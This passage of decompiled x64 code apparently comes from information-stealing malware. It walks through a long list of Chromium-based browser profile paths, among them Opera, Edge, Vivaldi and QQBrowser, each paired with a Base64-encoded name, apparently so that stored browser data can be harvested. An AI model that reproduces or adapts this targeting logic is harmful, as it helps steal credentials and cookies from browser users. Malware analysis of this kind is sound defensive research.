				 *((long long*)(_t1135 + 0x20)) = "Elements Browser";
				 *((long long*)(_t1135 + 0x28)) = 0x10;
				E00007FF77FF71062CB70(_t697, 0, "Elements Browser", _t800, _t1132 + 0x570, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xfffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x590], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x5a0], xmm1");
				_t169 = _t1129 + 8; // 0x8
				r8d = _t169;
				E00007FF77FF71062A010(_t800, _t1132 + 0x590, "RXBpYw==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Epic Browser";
				 *((long long*)(_t1135 + 0x28)) = 0xc;
				E00007FF77FF71062CB70(_t697, 0, "Epic Browser", _t800, _t1132 + 0x5b0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x1fffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x5d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x5e0], xmm1");
				_t176 = _t1129 + 0xc; // 0xc
				r8d = _t176;
				E00007FF77FF71062A010(_t800, _t1132 + 0x5d0, "RmVucmlySW5j", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer";
				 *((long long*)(_t1135 + 0x28)) = 0x33;
				E00007FF77FF71062CB70(_t697, 0, "Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer", _t800, _t1132 + 0x5f0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x3fffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x610], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x620], xmm1");
				_t183 = _t1129 + 8; // 0x8
				r8d = _t183;
				E00007FF77FF71062A010(_t800, _t1132 + 0x610, "RmxvY2s=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Flock";
				 *((long long*)(_t1135 + 0x28)) = 5;
				E00007FF77FF71062CB70(_t697, 0, "Flock", _t800, _t1132 + 0x630, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x7fffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x650], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x660], xmm1");
				_t190 = _t1129 + 0x10; // 0x10
				r8d = _t190;
				E00007FF77FF71062A010(_t800, _t1132 + 0x650, "R2FyZW5hUGx1cw==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "GarenaPlus";
				 *((long long*)(_t1135 + 0x28)) = 0xa;
				E00007FF77FF71062CB70(_t697, 0, "GarenaPlus", _t800, _t1132 + 0x670, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xffffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x690], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x6a0], xmm1");
				_t197 = _t1129 + 0x10; // 0x10
				r8d = _t197;
				E00007FF77FF71062A010(_t800, _t1132 + 0x690, "R2hvc3RCcm93c2Vy", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "GhostBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0xc;
				E00007FF77FF71062CB70(_t697, 0, "GhostBrowser", _t800, _t1132 + 0x6b0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x1ffffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x6d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x6e0], xmm1");
				_t204 = _t1129 + 4; // 0x4
				r8d = _t204;
				E00007FF77FF71062A010(_t800, _t1132 + 0x6d0, "R28=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Go!";
				 *((long long*)(_t1135 + 0x28)) = 3;
				E00007FF77FF71062CB70(_t697, 0, "Go!", _t800, _t1132 + 0x6f0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x3ffffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x710], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x720], xmm1");
				_t211 = _t1129 + 8; // 0x8
				r8d = _t211;
				E00007FF77FF71062A010(_t800, _t1132 + 0x710, "R29vZ2xl", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Google\\Chrome SxS";
				 *((long long*)(_t1135 + 0x28)) = 0x11;
				E00007FF77FF71062CB70(_t697, 0, "Google\\Chrome SxS", _t800, _t1132 + 0x730, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0x7ffffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x750], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x760], xmm1");
				_t218 = _t1129 + 0x18; // 0x18
				r8d = _t218;
				E00007FF77FF71062A010(_t800, _t1132 + 0x750, "SW5zb21uaWFjQnJvd3Nlcg==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "InsomniacBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0x10;
				E00007FF77FF71062CB70(_t697, 0, "InsomniacBrowser", _t800, _t1132 + 0x770, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xfffffffe;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x790], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x7a0], xmm1");
				_t225 = _t1129 + 0xc; // 0xc
				r8d = _t225;
				E00007FF77FF71062A010(_t800, _t1132 + 0x790, "SXJpZGl1bQ==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Iridium";
				 *((long long*)(_t1135 + 0x28)) = 7;
				E00007FF77FF71062CB70(_t697, 0, "Iridium", _t800, _t1132 + 0x7b0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x7d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x7e0], xmm1");
				_t231 = _t1129 + 0xc; // 0xc
				r8d = _t231;
				E00007FF77FF71062A010(_t800, _t1132 + 0x7d0, "Sy1NZWxvbg==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "K-Melon";
				 *((long long*)(_t1135 + 0x28)) = 7;
				E00007FF77FF71062CB70(_t697, 0, "K-Melon", _t800, _t1132 + 0x7f0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x810], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x820], xmm1");
				_t237 = _t1129 + 8; // 0x8
				r8d = _t237;
				E00007FF77FF71062A010(_t800, _t1132 + 0x810, "S2luemE=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Kinza";
				 *((long long*)(_t1135 + 0x28)) = 5;
				E00007FF77FF71062CB70(_t697, 0, "Kinza", _t800, _t1132 + 0x830, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x850], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x860], xmm1");
				_t243 = _t1129 + 8; // 0x8
				r8d = _t243;
				E00007FF77FF71062A010(_t800, _t1132 + 0x850, "TGVub3Zv", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Lenovo\\SLBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0x10;
				E00007FF77FF71062CB70(_t697, 0, "Lenovo\\SLBrowser", _t800, _t1132 + 0x870, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x890], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x8a0], xmm1");
				_t249 = _t1129 + 8; // 0x8
				r8d = _t249;
				E00007FF77FF71062A010(_t800, _t1132 + 0x890, "TGllYmFv", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Liebao";
				 *((long long*)(_t1135 + 0x28)) = 6;
				E00007FF77FF71062CB70(_t697, 0, "Liebao", _t800, _t1132 + 0x8b0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x8d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x8e0], xmm1");
				_t255 = _t1129 + 0x10; // 0x10
				r8d = _t255;
				E00007FF77FF71062A010(_t800, _t1132 + 0x8d0, "TWFwbGVTdHVkaW8=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "MapleStudio\\ChromePlus";
				 *((long long*)(_t1135 + 0x28)) = 0x16;
				E00007FF77FF71062CB70(_t697, 0, "MapleStudio\\ChromePlus", _t800, _t1132 + 0x8f0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x910], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x920], xmm1");
				_t261 = _t1129 + 0xc; // 0xc
				r8d = _t261;
				E00007FF77FF71062A010(_t800, _t1132 + 0x910, "TWF4dGhvbg==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Maxthon\\Application";
				 *((long long*)(_t1135 + 0x28)) = 0x13;
				E00007FF77FF71062CB70(_t697, 0, "Maxthon\\Application", _t800, _t1132 + 0x930, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x950], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x960], xmm1");
				_t267 = _t1129 + 0xc; // 0xc
				r8d = _t267;
				E00007FF77FF71062A010(_t800, _t1132 + 0x950, "TWF4dGhvbjM=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Maxthon3\\Users";
				 *((long long*)(_t1135 + 0x28)) = 0xe;
				E00007FF77FF71062CB70(_t697, 0, "Maxthon3\\Users", _t800, _t1132 + 0x970, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x990], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x9a0], xmm1");
				_t273 = _t1129 + 0xc; // 0xc
				r8d = _t273;
				E00007FF77FF71062A010(_t800, _t1132 + 0x990, "TWF4dGhvbjU=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Maxthon5\\Users\\guest\\MagicFill";
				 *((long long*)(_t1135 + 0x28)) = 0x1e;
				E00007FF77FF71062CB70(_t697, 0, "Maxthon5\\Users\\guest\\MagicFill", _t800, _t1132 + 0x9b0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x9d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x9e0], xmm1");
				_t279 = _t1129 + 8; // 0x8
				r8d = _t279;
				E00007FF77FF71062A010(_t800, _t1132 + 0x9d0, "TXNFZGdl", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Microsoft\\Edge";
				 *((long long*)(_t1135 + 0x28)) = 0xe;
				E00007FF77FF71062CB70(_t697, 0, "Microsoft\\Edge", _t800, _t1132 + 0x9f0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xa10], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xa20], xmm1");
				_t285 = _t1129 + 0x14; // 0x14
				r8d = _t285;
				E00007FF77FF71062A010(_t800, _t1132 + 0xa10, "TmV0Ym94QnJvd3Nlcg==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "NetboxBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0xd;
				E00007FF77FF71062CB70(_t697, 0, "NetboxBrowser", _t800, _t1132 + 0xa30, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xa50], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xa60], xmm1");
				_t291 = _t1129 + 0xc; // 0xc
				r8d = _t291;
				E00007FF77FF71062A010(_t800, _t1132 + 0xa50, "TmljaHJvbWU=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Nichrome";
				 *((long long*)(_t1135 + 0x28)) = 8;
				E00007FF77FF71062CB70(_t697, 0, "Nichrome", _t800, _t1132 + 0xa70, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xa90], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xaa0], xmm1");
				_t297 = _t1129 + 0x1c; // 0x1c
				r8d = _t297;
				E00007FF77FF71062A010(_t800, _t1132 + 0xa90, "T3BlcmFTb2Z0d2FyZUNyeXB0bw==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Opera Software\\Opera Crypto Developer";
				 *((long long*)(_t1135 + 0x28)) = 0x25;
				E00007FF77FF71062CB70(_t697, 0, "Opera Software\\Opera Crypto Developer", _t800, _t1132 + 0xab0, _t1135 + 0x20, _t1132);
				_t1127 = "Opera Software\\Opera Stable";
				 *((long long*)(_t1135 + 0x20)) = _t1127;
				 *((long long*)(_t1135 + 0x28)) = 0x1b;
				E00007FF77FF71062CB70(_t697, 0, "Opera Software\\Opera Crypto Developer", _t800, _t1132 - 0x60, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x3fff;
				E00007FF77FF7106286E0("Opera Software\\Opera Crypto Developer", _t800, _t1135 + 0x60, 0x10689d00);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x7fff;
				0x10622710();
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xad0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xae0], xmm1");
				_t312 = _t1129 + 8; // 0x8
				r8d = _t312;
				E00007FF77FF71062A010(_t800, _t1132 + 0xad0, "T3BlcmE=", _t1137);
				asm("movups xmm1, [esp+0x60]");
				asm("movaps [ebp+0xaf0], xmm1");
				asm("movups xmm0, [esp+0x70]");
				asm("movaps [ebp+0xb00], xmm0");
				asm("movdqa xmm1, [0x58254]");
				asm("movdqu [esp+0x70], xmm1");
				 *((short*)(_t1135 + 0x60)) = 0;
				 *((long long*)(_t1135 + 0x20)) = "Opera Software\\Opera GX Stable";
				 *((long long*)(_t1135 + 0x28)) = 0x1e;
				E00007FF77FF71062CB70(_t697, 0, "Opera Software\\Opera GX Stable", _t800, _t1132 - 0x80, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0xffff;
				E00007FF77FF7106286E0("Opera Software\\Opera GX Stable", _t800, _t1135 + 0x40, 0x10689d00);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x1ffff;
				0x10622710();
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xb10], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xb20], xmm1");
				_t324 = _t1129 + 0xc; // 0xc
				r8d = _t324;
				E00007FF77FF71062A010(_t800, _t1132 + 0xb10, "T3BlcmFHWA==", _t1137);
				asm("movups xmm1, [esp+0x40]");
				asm("movaps [ebp+0xb30], xmm1");
				asm("movups xmm0, [esp+0x50]");
				asm("movaps [ebp+0xb40], xmm0");
				asm("movdqa xmm1, [0x581ab]");
				asm("movdqu [esp+0x50], xmm1");
				 *((short*)(_t1135 + 0x40)) = 0;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xb50], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xb60], xmm1");
				_t327 = _t1129 + 0x18; // 0x18
				r8d = _t327;
				E00007FF77FF71062A010(_t800, _t1132 + 0xb50, "T3BlcmFTb2Z0d2FyZU5lb24=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Opera Software\\Opera Neon";
				 *((long long*)(_t1135 + 0x28)) = 0x19;
				E00007FF77FF71062CB70(_t697, 0, "Opera Software\\Opera Neon", _t800, _t1132 + 0xb70, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x3ffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xb90], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xba0], xmm1");
				_t334 = _t1129 + 0x1c; // 0x1c
				r8d = _t334;
				E00007FF77FF71062A010(_t800, _t1132 + 0xb90, "T3BlcmFTb2Z0d2FyZVN0YWJsZQ==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = _t1127;
				 *((long long*)(_t1135 + 0x28)) = 0x1b;
				E00007FF77FF71062CB70(_t697, 0, "Opera Software\\Opera Neon", _t800, _t1132 + 0xbb0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x7ffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xbd0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xbe0], xmm1");
				_t341 = _t1129 + 0xc; // 0xc
				r8d = _t341;
				E00007FF77FF71062A010(_t800, _t1132 + 0xbd0, "UUlQU3VyZg==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "QIP Surf";
				 *((long long*)(_t1135 + 0x28)) = 8;
				E00007FF77FF71062CB70(_t697, 0, "QIP Surf", _t800, _t1132 + 0xbf0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0xfffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xc10], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xc20], xmm1");
				_t348 = _t1129 + 0xc; // 0xc
				r8d = _t348;
				E00007FF77FF71062A010(_t800, _t1132 + 0xc10, "UmFmb3RlY2g=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Rafotech\\Mustang";
				 *((long long*)(_t1135 + 0x28)) = 0x10;
				E00007FF77FF71062CB70(_t697, 0, "Rafotech\\Mustang", _t800, _t1132 + 0xc30, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x1fffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xc50], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xc60], xmm1");
				_t355 = _t1129 + 0xc; // 0xc
				r8d = _t355;
				E00007FF77FF71062A010(_t800, _t1132 + 0xc50, "Um9ja01lbHQ=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "RockMelt";
				 *((long long*)(_t1135 + 0x28)) = 8;
				E00007FF77FF71062CB70(_t697, 0, "RockMelt", _t800, _t1132 + 0xc70, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x3fffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xc90], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xca0], xmm1");
				_t362 = _t1129 + 0x10; // 0x10
				r8d = _t362;
				E00007FF77FF71062A010(_t800, _t1132 + 0xc90, "U1JXYXJlSXJvbg==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "SRWare Iron";
				 *((long long*)(_t1135 + 0x28)) = 0xb;
				E00007FF77FF71062CB70(_t697, 0, "SRWare Iron", _t800, _t1132 + 0xcb0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x7fffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xcd0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xce0], xmm1");
				_t369 = _t1129 + 0x18; // 0x18
				r8d = _t369;
				E00007FF77FF71062A010(_t800, _t1132 + 0xcd0, "U2FmZXJUZWNobm9sb2dpZXM=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Safer Technologies\\Secure Browser";
				 *((long long*)(_t1135 + 0x28)) = 0x21;
				E00007FF77FF71062CB70(_t697, 0, "Safer Technologies\\Secure Browser", _t800, _t1132 + 0xcf0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0xffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xd10], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xd20], xmm1");
				_t376 = _t1129 + 0xc; // 0xc
				r8d = _t376;
				E00007FF77FF71062A010(_t800, _t1132 + 0xd10, "U2FsYW1XZWI=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "SalamWeb";
				 *((long long*)(_t1135 + 0x28)) = 8;
				E00007FF77FF71062CB70(_t697, 0, "SalamWeb", _t800, _t1132 + 0xd30, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x1ffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xd50], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xd60], xmm1");
				_t383 = _t1129 + 0xc; // 0xc
				r8d = _t383;
				E00007FF77FF71062A010(_t800, _t1132 + 0xd50, "U2lkZWtpY2s=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Sidekick";
				 *((long long*)(_t1135 + 0x28)) = 8;
				E00007FF77FF71062CB70(_t697, 0, "Sidekick", _t800, _t1132 + 0xd70, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x3ffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xd90], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xda0], xmm1");
				_t390 = _t1129 + 0xc; // 0xc
				r8d = _t390;
				E00007FF77FF71062A010(_t800, _t1132 + 0xd90, "U2xlaXBuaXI=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Sleipnir";
				 *((long long*)(_t1135 + 0x28)) = 8;
				E00007FF77FF71062CB70(_t697, 0, "Sleipnir", _t800, _t1132 + 0xdb0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x7ffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xdd0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xde0], xmm1");
				_t397 = _t1129 + 0xc; // 0xc
				r8d = _t397;
				E00007FF77FF71062A010(_t800, _t1132 + 0xdd0, "U3B1dG5paw==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Sputnik\\Sputnik";
				 *((long long*)(_t1135 + 0x28)) = 0xf;
				E00007FF77FF71062CB70(_t697, 0, "Sputnik\\Sputnik", _t800, _t1132 + 0xdf0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0xfffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xe10], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xe20], xmm1");
				_t404 = _t1129 + 8; // 0x8
				r8d = _t404;
				E00007FF77FF71062A010(_t800, _t1132 + 0xe10, "U3VoYmE=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Suhba";
				 *((long long*)(_t1135 + 0x28)) = 5;
				E00007FF77FF71062CB70(_t697, 0, "Suhba", _t800, _t1132 + 0xe30, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x1fffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xe50], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xe60], xmm1");
				_t411 = _t1129 + 0xc; // 0xc
				r8d = _t411;
				E00007FF77FF71062A010(_t800, _t1132 + 0xe50, "U3VwZXJiaXJk", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Superbird";
				 *((long long*)(_t1135 + 0x28)) = 9;
				E00007FF77FF71062CB70(_t697, 0, "Superbird", _t800, _t1132 + 0xe70, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x3fffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xe90], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xea0], xmm1");
				_t418 = _t1129 + 0x10; // 0x10
				r8d = _t418;
				E00007FF77FF71062A010(_t800, _t1132 + 0xe90, "U3dpbmdCcm93c2Vy", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "SwingBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0xc;
				E00007FF77FF71062CB70(_t697, 0, "SwingBrowser", _t800, _t1132 + 0xeb0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0x7fffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xed0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xee0], xmm1");
				_t425 = _t1129 + 0xc; // 0xc
				r8d = _t425;
				E00007FF77FF71062A010(_t800, _t1132 + 0xed0, "VGVuY2VudA==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Tencent\\QQBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0x11;
				E00007FF77FF71062CB70(_t697, 0, "Tencent\\QQBrowser", _t800, _t1132 + 0xef0, _t1135 + 0x20, _t1132);
				 *((intOrPtr*)(_t1135 + 0x38)) = 0xffffffff;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xf10], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xf20], xmm1");
				_t432 = _t1129 + 0x10; // 0x10
				r8d = _t432;
				E00007FF77FF71062A010(_t800, _t1132 + 0xf10, "VGl0YW5Ccm93c2Vy", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Titan Browser";
				 *((long long*)(_t1135 + 0x28)) = 0xd;
				E00007FF77FF71062CB70(_t697, 0, "Titan Browser", _t800, _t1132 + 0xf30, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xf50], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xf60], xmm1");
				_t438 = _t1129 + 8; // 0x8
				r8d = _t438;
				E00007FF77FF71062A010(_t800, _t1132 + 0xf50, "VG9yQnJv", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "TorBro\\Profile";
				 *((long long*)(_t1135 + 0x28)) = 0xe;
				E00007FF77FF71062CB70(_t697, 0, "TorBro\\Profile", _t800, _t1132 + 0xf70, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xf90], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xfa0], xmm1");
				_t444 = _t1129 + 8; // 0x8
				r8d = _t444;
				E00007FF77FF71062A010(_t800, _t1132 + 0xf90, "VG9yY2g=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Torch";
				 *((long long*)(_t1135 + 0x28)) = 5;
				E00007FF77FF71062CB70(_t697, 0, "Torch", _t800, _t1132 + 0xfb0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0xfd0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0xfe0], xmm1");
				_t450 = _t1129 + 0xc; // 0xc
				r8d = _t450;
				E00007FF77FF71062A010(_t800, _t1132 + 0xfd0, "VHdpbmtzdGFy", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Twinkstar";
				 *((long long*)(_t1135 + 0x28)) = 9;
				E00007FF77FF71062CB70(_t697, 0, "Twinkstar", _t800, _t1132 + 0xff0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1010], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1020], xmm1");
				_t456 = _t1129 + 0xc; // 0xc
				r8d = _t456;
				E00007FF77FF71062A010(_t800, _t1132 + 0x1010, "VUNCcm93c2Vy", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "UCBrowser\\User Data_i18n";
				 *((long long*)(_t1135 + 0x28)) = 0x18;
				E00007FF77FF71062CB70(_t697, 0, "UCBrowser\\User Data_i18n", _t800, _t1132 + 0x1030, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1050], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1060], xmm1");
				_t462 = _t1129 + 0xc; // 0xc
				r8d = _t462;
				E00007FF77FF71062A010(_t800, _t1132 + 0x1050, "VVJCcm93c2Vy", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "URBrowser";
				 *((long long*)(_t1135 + 0x28)) = 9;
				E00007FF77FF71062CB70(_t697, 0, "URBrowser", _t800, _t1132 + 0x1070, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1090], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x10a0], xmm1");
				_t468 = _t1129 + 8; // 0x8
				r8d = _t468;
				E00007FF77FF71062A010(_t800, _t1132 + 0x1090, "VmlhU2F0", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "ViaSat\\Viasat Browser";
				 *((long long*)(_t1135 + 0x28)) = 0x15;
				E00007FF77FF71062CB70(_t697, 0, "ViaSat\\Viasat Browser", _t800, _t1132 + 0x10b0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x10d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x10e0], xmm1");
				_t474 = _t1129 + 0xc; // 0xc
				r8d = _t474;
				E00007FF77FF71062A010(_t800, _t1132 + 0x10d0, "Vml2YWxkaQ==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Vivaldi";
				 *((long long*)(_t1135 + 0x28)) = 7;
